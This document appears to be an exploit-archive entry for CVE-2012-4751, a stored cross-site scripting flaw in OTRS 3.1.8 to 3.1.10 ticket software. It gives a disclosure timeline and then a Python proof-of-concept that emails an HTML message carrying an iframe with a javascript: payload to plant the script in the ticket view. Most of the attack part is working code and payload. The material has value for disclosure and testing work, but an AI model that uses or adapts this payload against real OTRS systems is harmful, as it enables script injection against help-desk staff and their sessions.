OTRS 3.1 Stored XSS Vulnerability

2012-10-18 15:05:03

#!/usr/bin/python

'''

Author: Mike Eduard - Znuny - Enterprise Services for OTRS
Product: OTRS Open Technology Real Services
Version: 3.1.8, 3.1.9 and 3.1.10
Vendor Homepage: http://otrs.org
CVE: 2012-4751

Timeline:
03 Sep 2012: Vulnerability reported + fix to vendor
04 Sep 2012: Vulnerability reported to CERT
05 Sep 2012: Response received from CERT
28 Sep 2012: Update from vendor to have it fixed and released on 16 Oct 2012
16 Oct 2012: Update: vulnerability patched
http://www.kb.cert.org/vuls/id/603276
http://znuny.com/#!/advisory/ZSA-2012-03
http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-03/
17 Oct 2012: Public Disclosure

Installed On: Windows Server 2008 R2 & Open SUSE 12.1
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Firefox 14+16 & Opera 12.01

Injection Point: HTML Email
Injection Payload(s):
1: <iframe src=" javascript:alert('XSS Exploit');"></iframe>

'''

import smtplib, urllib2

payload = """
<iframe src=" javascript:alert('XSS Exploit');"></iframe>
"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: [email protected]\n"
msg += "To: [email protected]\n"
msg += 'Date: Today\r\n'
msg += "Subject: Offensive Security\n"
msg += "Content-type: text/html\n\n"
msg += "XSS" + payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()

username = "[email protected]"
password = "123456"
dstemail = "[email protected]"
frmemail = "[email protected]"
smtpsrv = "127.0.0.1"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

Fixes

No fixes

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